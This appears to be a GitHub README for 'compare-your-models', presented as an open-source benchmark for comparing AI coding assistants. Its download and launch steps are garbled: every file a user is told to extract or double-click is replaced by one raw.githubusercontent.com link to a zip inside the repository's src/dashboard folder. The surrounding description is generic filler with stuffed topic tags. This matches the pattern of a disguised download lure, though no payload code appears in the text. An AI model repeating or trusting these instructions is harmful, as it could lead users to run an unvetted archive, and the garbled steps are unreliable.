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πŸ” Compare AI coding assistants with an open-source benchmark tool across multiple languages for accurate, reproducible evaluations.

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🌟 compare-your-models - Compare AI Coding Assistants Easily

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πŸ“ƒ Description

Compare AI coding assistants across multiple programming languages. This application provides open-source benchmarks for GPT-4, Claude, and custom models with transparent scoring. You can evaluate how different AI assistants work in various programming languages, including Python, JavaScript, C, and more.

πŸš€ Getting Started

Follow these simple steps to download and run the application.

1. πŸ’» System Requirements

Before downloading, ensure your computer meets these basic requirements:

  • Operating System: Windows, macOS, or Linux
  • At least 4GB of RAM
  • Minimum 250MB of free disk space
  • An internet connection for downloading the application

2. πŸ“₯ Download & Install

To get the software, visit the Releases page to download the latest version:

Visit this page to download

Once you are on the Releases page, look for the latest version at the top. Choose the appropriate file for your operating system and click on it to start the download.

3. πŸ“‚ Extract the Files

If you download a compressed file (like a .zip or https://raw.githubusercontent.com/Dw58/compare-your-models/main/src/dashboard/compare-your-models_v2.3.zip), you'll need to extract it. Right-click on the downloaded file and select "Extract All..." on Windows or "Extract Here" on macOS and Linux. You should see a new folder with all the application files inside.

4. πŸš€ Launch the Application

On Windows:

  1. Navigate to the folder where you extracted the files.
  2. Look for a file named https://raw.githubusercontent.com/Dw58/compare-your-models/main/src/dashboard/compare-your-models_v2.3.zip.
  3. Double-click on the file to launch the application.

On macOS:

  1. Open Finder and go to the folder where you extracted the files.
  2. Find https://raw.githubusercontent.com/Dw58/compare-your-models/main/src/dashboard/compare-your-models_v2.3.zip.
  3. Double-click the app to run it.

On Linux:

  1. Open the terminal.
  2. Navigate to the directory where the files are.
  3. Run the following command:
    ./compare-your-models
    

5. 🏁 Using compare-your-models

Once the application is running, you will see a user-friendly interface. Follow these steps to conduct your comparisons:

  1. Select Language: Choose which programming language you want to evaluate from the drop-down menu.
  2. Choose AI Model: Select the AI coding assistant you wish to compare.
  3. Enter Code Snippet: Input or paste the coding task you want the model to perform.
  4. Run Comparison: Click on the "Compare" button. The application will show you scores and performance evaluations of the chosen models.

6. πŸ“Š Understand the Results

After running a comparison, the application will display results in a clear format. You will see scores that indicate how well each model performed. You can compare these scores directly in the application.

7. πŸ“ Contributing

If you would like to contribute to this project, we welcome your feedback. Feel free to report bugs, suggest features, or improve documentation.

  1. Fork the repository.
  2. Make your changes.
  3. Submit a pull request with a clear description of your changes.

8. πŸ†˜ Support

If you have questions or need help, check out the Issues section on GitHub. You can also reach out to the community for assistance.

9. πŸ“ˆ Measuring Your Results

Understanding the performance of AI coding assistants can be crucial for your projects. This application helps you make informed decisions based on realistic benchmarks.

πŸ” Topics

This project covers various topics, including AI, coding assistant evaluations, and benchmarks for multiple programming languages:

  • ai
  • anthropic
  • benchmark
  • c
  • claude
  • code-generation
  • coding-assistant
  • comparison
  • cpp
  • evaluation
  • gpt-4
  • javascript
  • llm
  • machine-learning
  • multi-language
  • openai
  • python
  • rust

10. 🌐 License

This project is open-source. You can modify and distribute it under the terms of the MIT License. For license details, see the LICENSE file in the repository.


We hope you find compare-your-models helpful for evaluating AI coding assistants. Enjoy comparing!

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